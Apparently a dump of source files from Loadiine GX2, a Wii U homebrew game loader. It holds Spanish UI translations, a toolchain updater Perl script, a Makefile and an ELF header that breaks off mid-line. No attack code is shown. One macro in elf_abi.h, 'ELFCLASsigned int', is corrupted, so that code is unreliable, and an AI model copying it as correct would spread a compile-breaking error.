src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"Diseño:\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Alguien que no quiso ser identificado.\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"Pruebas:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight y muchos mas\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Presencia Social:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Basado en:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0 de Golden45 y Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Muchas Gracias a:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar de GameTDB y alojamiento de caratulas\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1 por su kernel exploit\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"Todo el equipo de libwiiu y sus colaboradores.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"Activar Soporte DLC\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"Actualizar Carpeta\"\n\n#: src/menu/GameLauncherMenu.cpp:77\nmsgid \"Save Mode\"\nmsgstr \"Modo de Guardado\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Modo de Carga\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"<Ajustes por Defecto>\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"Guardando ajustes del juego!\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"Apagado\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"Encendido\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Carrusel de Iconos\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Vista de Rejilla\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Carrusel de Caratulas\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"Personalización del fondo\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Vista de selección del juego\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Ajustar IP y puerto del servidor\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Personalizar ruta del juego\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Personalizar ruta de guardado\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"Cargador\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Establecer modo de guardado\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Juego\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"Configuracion HID\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Seleccionar metodo de carga\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Iniciar servidor\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"Padcon settings\"\nmsgstr \"Configuracion HID\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"PyGecko settings\"\nmsgstr \"Configuracion HID\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Creditos\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Créditos de los colaboladores\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Vista del Juego TV\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Vista del Juego DRC\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"Mostrar Configuracion del Juego\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Ruta del Juego\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Ruta de guardado\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Modo de Guardado\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Control de Registros\"\n\n#: src/menu/SettingsMenu.cpp:77\n#, fuzzy\nmsgid \"PyGecko\"\nmsgstr \"Configuracion HID\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Modo Art Atelier\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Modo Compartido\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Modo Unico\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Modo Mii Maker\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Modo Smash Bros\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Modo Karaoke\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"IP del Servidor\"\n"
  },
  {
    "path": "meta/meta.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<app version=\"1\">\n  <name>Loadiine GX2</name>\n  <coder>Dimok, Maschell, n1ghty, dibas</coder>\n  <version>0.3 r39c1591</version>\n  <release_date>20160804094703</release_date>\n  <short_description>WiiU game loader</short_description>\n  <long_description>Loads games from SD card.\n\n  Compatibility list:\n  http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list\n\n  Sources:\n  https://github.com/dimok789/loadiine_gx2\n  </long_description>\n</app>\n"
  },
  {
    "path": "other/devkitPPCupdatePPCr29.pl",
    "content": "#!/usr/bin/perl\n#-----------------------------------------------------------------------------\n#\n#\tCopyright (C) 2011 - 2016\n#\t\tMichael Theall (mtheall)\n#\t\tDave Murphy (WinterMute)\n#\n#\tThis software is provided 'as-is', without any express or implied\n#\twarranty.  In no event will the authors be held liable for any\n#\tdamages arising from the use of this software.\n#\n#\tPermission is granted to anyone to use this software for any\n#\tpurpose, including commercial applications, and to alter it and\n#\tredistribute it freely, subject to the following restrictions:\n#\n#\t1.\tThe origin of this software must not be misrepresented; you\n#\t\tmust not claim that you wrote the original software. If you use\n#\t\tthis software in a product, an acknowledgment in the product\n#\t\tdocumentation would be appreciated but is not required.\n#\t2.\tAltered source versions must be plainly marked as such, and\n#\t\tmust not be misrepresented as being the original software.\n#\t3.\tThis notice may not be removed or altered from any source\n#\t\tdistribution.\n#\n#-----------------------------------------------------------------------------\n  use strict;\n\n  my $dir = \"$ENV{HOME}/devkitPro\";\n  my $downloader;\n  my $archname;\n\n  if($ENV{\"DEVKITPRO\"} ne \"\")\n  {\n    $dir = $ENV{\"DEVKITPRO\"};\n  }\n\n  if($#ARGV eq 0)\n  {\n    $dir = $ARGV[0];\n  }\n\n  # Ensure full pathname\n  if(!($dir =~ /^\\//))\n  {\n    my $pwd = `pwd`;\n    chomp($pwd);\n    $dir = \"$pwd/$dir\";\n  }\n\n  printf(\"devkitPPC Updater/Installer\\n\");\n  printf(\"Installing to %s\\n\", $dir);\n\n  # Get OS information\n  my $os = `uname`;\n  my $arch = `uname -m`;\n  chomp($os);\n  chomp($arch);\n\n  # Check OS information\n  if($os eq \"Linux\" and ($arch eq \"i686\" or $arch eq \"x86_64\"))\n  {\n\t $downloader = \"wget -q\";\n\t $archname = $arch . \"-linux\";\n  }\n  elsif($os eq \"Darwin\" and ($arch eq \"i386\" or $arch eq \"x86_64\"))\n  {\n\t $downloader = \"curl -L -O -s\";\n\t $archname = $arch . \"-osx\";\n  }\n  else\n  {\n    printf(STDERR \"Not on Linux i686/x86_64 or Darwin i386/x86_64!\\n\");\n    exit(1);\n  }\n\n  # Set up directories\n  if(!(-d \"$dir\"))\n  {\n    mkdir(\"$dir\") or die $!;\n  }\n\n  if(!(-d \"$dir/libogc\"))\n  {\n    mkdir(\"$dir/libogc\") or die $!;\n  }\n  if(!(-d \"$dir/examples\"))\n  {\n    mkdir(\"$dir/examples\") or die $!;\n  }\n  if(!(-d \"$dir/examples/wii\"))\n  {\n    mkdir(\"$dir/examples/wii\") or die $!;\n  }\n  if(!(-d \"$dir/examples/gamecube\"))\n  {\n    mkdir(\"$dir/examples/gamecube\") or die $!;\n  }\n\n  # Grab update file\n  if(-e \"devkitProUpdatePPCr29.ini\")\n  {\n\tunlink(\"devkitProUpdatePPCr29.ini\") or die $!;\n  }\n  printf(\"Downloading update file...\");\n  system($downloader . \" https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitProUpdatePPCr29.ini\") and die \"Failed to download!\";\n  printf(\"OK!\\n\");\n\n  # Initialize versions & newVersions\n  my %versions =\n    (\n      'devkitPPC'    => 0,\n      'libogc'       => 0,\n      'libogcfat'    => 0,\n      'wiiexamples'  => 0,\n      'cubeexamples' => 0,\n    );\n  my %newVersions = %versions;\n\n  my %files    = ();\n  my $current  = \"\";\n\n  if(-e \"$dir/dkppc-update.ini\")\n  {\n    open(MYFILE, \"<$dir/dkppc-update.ini\") or die $!;\n    while(<MYFILE>)\n    {\n      chomp;\n      if($_ =~ /\\[(.*)\\]/)\n      {\n        $current = $1;\n      }\n      elsif($_ =~ /Version=(.*)/ and defined($versions{$current}))\n      {\n        $versions{$current} = $1;\n      }\n      elsif($_ =~ /File=(.*)/)\n      {\n        $files{$current} = $1;\n      }\n    }\n    close(MYFILE);\n  }\n\n  my %newFiles = ();\n\n  open(MYFILE, \"<devkitProUpdatePPCr29.ini\") or die $!;\n  while(<MYFILE>)\n  {\n    chomp;\n    if($_ =~ /\\[(.*)\\]/)\n    {\n      $current = $1;\n    }\n    elsif($_ =~ /Version=(.*)/ and defined($newVersions{$current}))\n    {\n      $newVersions{$current} = $1;\n    }\n    elsif($_ =~ /File=(.*)/)\n    {\n      $newFiles{$current} = $1;\n    }\n  }\n  close(MYFILE);\n  unlink(\"devkitProUpdatePPCr29.ini\") or die $!;\n\n  # see what to update\n  my %updates = ();\n  foreach my $key (keys %versions)\n  {\n    if($versions{$key} ne $newVersions{$key} and $newVersions{$key} ne 0)\n    {\n      $newFiles{$key} =~ s/win32\\.exe/$archname.tar.bz2/;\n      $updates{$key} = $newFiles{$key};\n    }\n    else\n    {\n      printf(\"%s is up-to-date\\n\", $key);\n    }\n  }\n  \n  # Download files\n  foreach my $key (keys %updates)\n  {\n    printf(\"Update %s with %s\\n\", $key, $updates{$key});\n    if(-e $updates{$key})\n    {\n      unlink($updates{$key});\n    }\n\n    my $cmd = sprintf(\"%s http://download.sourceforge.net/devkitpro/%s\", $downloader, $updates{$key});\n    printf(\"  Downloading...\");\n    system($cmd) and die \"Failed to download $updates{$key}\\n\";\n    printf(\"OK!\\n\");\n  }\n\n  # Install files\n  my %install =\n    (\n      'devkitPPC'    => '',\n      'libogc'       => 'libogc',\n      'libogcfat'    => 'libogc',\n      'wiiexamples'  => 'examples/wii',\n      'cubeexamples' => 'examples/gamecube',\n    );\n\n  foreach my $key (keys %updates)\n  {\n    my $cmd = sprintf(\"tar -xjf %s -C $dir/%s\", $updates{$key}, $install{$key});\n    printf(\"Extracting %s...\", $updates{$key});\n    system($cmd) and die \"Failed\\n\";\n    printf(\"OK!\\n\");\n  }\n\n  # Output update info\n  open(MYFILE, \">$dir/dkppc-update.ini\") or die $!;\n  foreach my $key (keys %newVersions)\n  {\n    printf(MYFILE \"[%s]\\n\", $key);\n    printf(MYFILE \"Version=%s\\n\", $newVersions{$key});\n    printf(MYFILE \"File=%s\\n\", $newFiles{$key});\n    printf(MYFILE \"\\n\");\n  }\n  close(MYFILE);\n\n  # Check environment variables\n  printf(\"Checking DEVKITPRO...\");\n  my $env = `echo \\$DEVKITPRO`;\n  chomp($env);\n  if($env ne \"$dir\")\n  {\n    printf(\"Please set DEVKITPRO in your environment as $dir\\n\");\n  }\n  else\n  {\n    printf(\"OK!\\n\");\n  }\n\n  printf(\"Checking DEVKITPPC...\");\n  $env = `echo \\$DEVKITPPC`;\n  chomp($env);\n  if($env ne \"$dir/devkitPPC\")\n  {\n    printf(\"Please set DEVKITPPC in your environment as \\${DEVKITPRO}/devkitPPC\\n\");\n  }\n  else\n  {\n    printf(\"OK!\\n\");\n  }\n\n  exit(0);\n"
  },
  {
    "path": "other/devkitProUpdatePPCr29.ini",
    "content": "[devkitProUpdate]\nBuild=46\nURL=http://downloads.sourceforge.net/devkitpro\nFilename=devkitProUpdater-1.6.0.exe\n\n[msys]\nVersion=1.0.17-1\nFile=msys-1.0.17-1.exe\nSize=118660\n\n[devkitARM]\nVersion=46\nFile=devkitARM_r46-win32.exe\nSize=70461\n\n[devkitPPC]\nVersion=29-1\nFile=devkitPPC_r29-1-win32.exe\nSize=65356\n\n[devkitPSP]\nVersion=16-1\nFile=devkitPSP_r16-1-win32.exe\nSize=70915\n\n[pspdoc]\nVersion=20051113\nFile=pspsdk-doc-20051113.tar.bz2\nSize=9344\n\n[libgba]\nVersion=0.5.0\nFile=libgba-0.5.0.tar.bz2\nSize=268\n\n[libgbafat]\nVersion=1.1.0\nFile=libfat-gba-1.1.0.tar.bz2\nSize=241\n\n[maxmodgba]\nVersion=1.0.10\nFile=maxmod-gba-1.0.10.tar.bz2\nSize=\n\n[libnds]\nVersion=1.6.2\nFile=libnds-1.6.2.tar.bz2\nSize=470\n\n[libndsfat]\nVersion=1.1.0\nFile=libfat-nds-1.1.0.tar.bz2\nSize=272\n\n[maxmodds]\nVersion=1.0.10\nFile=maxmod-nds-1.0.10.tar.bz2\nSize=\n\n[dswifi]\nVersion=0.4.0\nFile=dswifi-0.4.0.tar.bz2\nSize=496\n\n[libctru]\nVersion=1.2.1\nFile=libctru-1.2.1.tar.bz2\nSize=371\n\n[citro3d]\nVersion=1.2.0\nFile=citro3d-1.2.0.tar.bz2\nSize=371\n\n[libmirko]\nVersion=0.9.7\nFile=libmirko-0.9.7.tar.bz2\nSize=1056\n\n[libogc]\nVersion=1.8.16\nFile=libogc-1.8.16.tar.bz2\nSize=2748\n\n[libogcfat]\nVersion=1.1.0\nFile=libfat-ogc-1.1.0.tar.bz2\nSize=481\n\n[pnotepad]\nVersion=2.0.8.718\nFile=pn2.0.8.718.zip\nSize=4958\n\n[insight]\nVersion=7.3.50.20110803\nFile=insight-7.3.50.20110803-cvs.exe\nSize=32932\n\n[ndsexamples]\nVersion=20170124\nFile=nds-examples-20170124.tar.bz2\nSize=1191\n\n[defaultarm7]\nVersion=0.7.1\nFile=default_arm7-0.7.1.tar.bz2\nSize=9\n\n[filesystem]\nVersion=0.9.13-1\nFile=libfilesystem-0.9.13-1.tar.bz2\nSize=9\n\n[gbaexamples]\nVersion=20170228\nFile=gba-examples-20170228.tar.bz2\nSize=1019\n\n[gp32examples]\nVersion=20051021\nFile=gp32-examples-20051021.tar.bz2\nSize=732\n\n[cubeexamples]\nVersion=20170228\nFile=gamecube-examples-20170228.tar.bz2\nSize=198\n\n[wiiexamples]\nVersion=20170228\nFile=wii-examples-20170228.tar.bz2\nSize=93\n\n[3dsexamples]\nVersion=20170226\nFile=3ds-examples-20170226.tar.bz2\nSize=93\n\n[gcube]\nVersion=0.4.0\nFile=gcube-0.4.0-win32.tar.bz2\nSize=1234\n\n[Settings]\nRTL=0\n"
  },
  {
    "path": "sd_loader/Makefile",
    "content": "#---------------------------------------------------------------------------------\n# Clear the implicit built in rules\n#---------------------------------------------------------------------------------\n.SUFFIXES:\n#---------------------------------------------------------------------------------\nifeq ($(strip $(DEVKITPPC)),)\n$(error \"Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC\")\nendif\nexport PATH\t\t\t:=\t$(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)\nexport LIBOGC_INC\t:=\t$(DEVKITPRO)/libogc/include\nexport LIBOGC_LIB\t:=\t$(DEVKITPRO)/libogc/lib/wii\nexport PORTLIBS\t\t:=\t$(DEVKITPRO)/portlibs/ppc\n\nPREFIX\t:=\tpowerpc-eabi-\n\nexport AS\t:=\t$(PREFIX)as\nexport CC\t:=\t$(PREFIX)gcc\nexport CXX\t:=\t$(PREFIX)g++\nexport AR\t:=\t$(PREFIX)ar\nexport OBJCOPY\t:=\t$(PREFIX)objcopy\n\n#---------------------------------------------------------------------------------\n# TARGET is the name of the output\n# BUILD is the directory where object files & intermediate files will be placed\n# SOURCES is a list of directories containing source code\n# INCLUDES is a list of directories containing extra header files\n#---------------------------------------------------------------------------------\nTARGET\t\t:=\tsd_loader\nBUILD\t\t:=\tbuild\nBUILD_DBG\t:=\t$(TARGET)_dbg\nSOURCES\t\t:=\tsrc\nDATA\t\t:=\nINCLUDES\t:=\n\n#---------------------------------------------------------------------------------\n# options for code generation\n#---------------------------------------------------------------------------------\nCFLAGS\t:=  -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \\\n\t\t    -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)\nCXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \\\n\t\t    -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)\nASFLAGS\t:= -mregnames\nLDFLAGS\t:= -nostartfiles -Wl,--gc-sections\n\nQ := @\nMAKEFLAGS += --no-print-directory\n#---------------------------------------------------------------------------------\n# any extra libraries we wish to link with the project\n#---------------------------------------------------------------------------------\nLIBS\t:=\n\n#---------------------------------------------------------------------------------\n# list of directories containing libraries, this must be the top level containing\n# include and lib\n#---------------------------------------------------------------------------------\nLIBDIRS\t:=\t$(CURDIR)\t\\\n\t\t\t$(DEVKITPPC)/lib  \\\n\t\t\t$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2\n\n\n#---------------------------------------------------------------------------------\n# no real need to edit anything past this point unless you need to add additional\n# rules for different file extensions\n#---------------------------------------------------------------------------------\nifneq ($(BUILD),$(notdir $(CURDIR)))\n#---------------------------------------------------------------------------------\nexport PROJECTDIR := $(CURDIR)\nexport OUTPUT\t:=\t$(CURDIR)/$(TARGETDIR)/$(TARGET)\nexport VPATH\t:=\t$(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \\\n\t\t\t\t\t$(foreach dir,$(DATA),$(CURDIR)/$(dir))\nexport DEPSDIR\t:=\t$(CURDIR)/$(BUILD)\n\n#---------------------------------------------------------------------------------\n# automatically build a list of object files for our project\n#---------------------------------------------------------------------------------\nCFILES\t\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))\nCPPFILES\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))\nsFILES\t\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))\nSFILES\t\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))\nBINFILES\t:=\t$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))\nTTFFILES\t:=\t$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))\nPNGFILES\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))\n\n#---------------------------------------------------------------------------------\n# use CXX for linking C++ projects, CC for standard C\n#---------------------------------------------------------------------------------\nifeq ($(strip $(CPPFILES)),)\n\texport LD\t:=\t$(CC)\nelse\n\texport LD\t:=\t$(CXX)\nendif\n\nexport OFILES\t:=\t$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \\\n\t\t\t\t\t$(sFILES:.s=.o) $(SFILES:.S=.o) \\\n\t\t\t\t\t$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))\n\n#---------------------------------------------------------------------------------\n# build a list of include paths\n#---------------------------------------------------------------------------------\nexport INCLUDE\t:=\t$(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \\\n\t\t\t\t\t$(foreach dir,$(LIBDIRS),-I$(dir)/include) \\\n\t\t\t\t\t-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \\\n\t\t\t\t\t-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2\n\n#---------------------------------------------------------------------------------\n# build a list of library paths\n#---------------------------------------------------------------------------------\nexport LIBPATHS\t:=\t$(foreach dir,$(LIBDIRS),-L$(dir)/lib) \\\n\t\t\t\t\t-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib\n\nexport OUTPUT\t:=\t$(CURDIR)/$(TARGET)\n.PHONY: $(BUILD) clean install\n\n#---------------------------------------------------------------------------------\n$(BUILD):\n\t@[ -d $@ ] || mkdir -p $@\n\t@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile\n\n#---------------------------------------------------------------------------------\nclean:\n\t@echo clean ...\n\t@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf\n\n#---------------------------------------------------------------------------------\nelse\n\nDEPENDS\t:=\t$(OFILES:.o=.d)\n\n#---------------------------------------------------------------------------------\n# main targets\n#---------------------------------------------------------------------------------\n$(OUTPUT).elf: $(OFILES)\n\n#---------------------------------------------------------------------------------\n# This rule links in binary data with the .jpg extension\n#---------------------------------------------------------------------------------\n%.elf: link.ld $(OFILES)\n\t@echo \"linking ... $(TARGET).elf\"\n\t$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf  $(LIBPATHS) $(LIBS)\n\t$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@\n\n#---------------------------------------------------------------------------------\n%.a:\n#---------------------------------------------------------------------------------\n\t@echo $(notdir $@)\n\t@rm -f $@\n\t@$(AR) -rc $@ $^\n\n#---------------------------------------------------------------------------------\n%.o: %.cpp\n\t@echo $(notdir $<)\n\t@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)\n\n#---------------------------------------------------------------------------------\n%.o: %.c\n\t@echo $(notdir $<)\n\t@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)\n\n#---------------------------------------------------------------------------------\n%.o: %.S\n\t@echo $(notdir $<)\n\t@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)\n\n#---------------------------------------------------------------------------------\n%.png.o : %.png\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.ttf.o : %.ttf\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n-include $(DEPENDS)\n\n#---------------------------------------------------------------------------------\nendif\n#---------------------------------------------------------------------------------\n"
  },
  {
    "path": "sd_loader/src/elf_abi.h",
    "content": "/*\n * Copyright (c) 1995, 1996, 2001, 2002\n * Erik Theisen.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. The name of the author may not be used to endorse or promote products\n *    derived from this software without specific prior written permission\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n/*\n * This is the ELF ABI header file\n * formerly known as \"elf_abi.h\".\n */\n\n#ifndef _ELF_ABI_H\n#define _ELF_ABI_H\n\n/*\n *  This version doesn't work for 64-bit ABIs - Erik.\n */\n\n/*\n * These typedefs need to be handled better.\n */\ntypedef unsigned int\tElf32_Addr;\t/* Unsigned program address */\ntypedef unsigned int\tElf32_Off;\t/* Unsigned file offset */\ntypedef signed int\tElf32_Sword;\t/* Signed large integer */\ntypedef unsigned int\tElf32_Word;\t/* Unsigned large integer */\ntypedef unsigned short\tElf32_Half;\t/* Unsigned medium integer */\n\n/* e_ident[] identification indexes */\n#define EI_MAG0\t\t0\t\t/* file ID */\n#define EI_MAG1\t\t1\t\t/* file ID */\n#define EI_MAG2\t\t2\t\t/* file ID */\n#define EI_MAG3\t\t3\t\t/* file ID */\n#define EI_CLASS\t4\t\t/* file class */\n#define EI_DATA\t\t5\t\t/* data encoding */\n#define EI_VERSION\t6\t\t/* ELF header version */\n#define EI_OSABI\t7\t\t/* OS/ABI specific ELF extensions */\n#define EI_ABIVERSION\t8\t\t/* ABI target version */\n#define EI_PAD\t\t9\t\t/* start of pad bytes */\n#define EI_NIDENT\t16\t\t/* Size of e_ident[] */\n\n/* e_ident[] magic number */\n#define\tELFMAG0\t\t0x7f\t\t/* e_ident[EI_MAG0] */\n#define\tELFMAG1\t\t'E'\t\t/* e_ident[EI_MAG1] */\n#define\tELFMAG2\t\t'L'\t\t/* e_ident[EI_MAG2] */\n#define\tELFMAG3\t\t'F'\t\t/* e_ident[EI_MAG3] */\n#define\tELFMAG\t\t\"\\177ELF\"\t/* magic */\n#define\tSELFMAG\t\t4\t\t/* size of magic */\n\n/* e_ident[] file class */\n#define\tELFCLASSNONE\t0\t\t/* invalid */\n#define\tELFCLASsigned int\t1\t\t/* 32-bit objs */\n#define\tELFCLASS64\t2\t\t/* 64-bit objs */\n#define\tELFCLASSNUM\t3\t\t/* number of classes */\n\n/* e_ident[] data encoding */\n#define ELFDATANONE\t0\t\t/* invalid */\n#define ELFDATA2LSB\t1\t\t/* Little-Endian */\n#define ELFDATA2MSB\t2\t\t/* Big-Endian */\n#define ELFDATANUM\t3\t\t/* number of data encode defines */\n\n/* e_ident[] OS/ABI specific ELF extensions */\n#define ELFOSABI_NONE\t\t0\t/* No extension specified */\n#define ELFOSABI_HPUX\t\t1\t/* Hewlett-Packard HP-UX */\n#define ELFOSABI_NETBSD\t\t2\t/* NetBSD */\n#define ELFOSABI_LINUX\t\t3\t/* Linux */\n#define ELFOSABI_SOLARIS\t6\t/* Sun Solaris */\n#define ELFOSABI_AIX\t\t7\t/* AIX */\n#define ELFOSABI_IRIX\t\t8\t/* IRIX */\n#define ELFOSABI_FREEBSD\t9\t/* FreeBSD */\n#define ELFOSABI_TRU64\t\t10\t/* Compaq TRU64 UNIX */\n#define ELFOSABI_MODESTO\t11\t/* Novell Modesto */\n#define ELFOSABI_OPENBSD\t12\t/* OpenBSD */\n/* 64-255 Architecture-specific value range */\n\n/* e_ident[] ABI Version */\n#define ELFABIVERSION\t\t0\n\n/* e_ident */\n#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \\\n                      (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \\\n                      (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \\\n                      (ehdr).e_ident[EI_MAG3] == 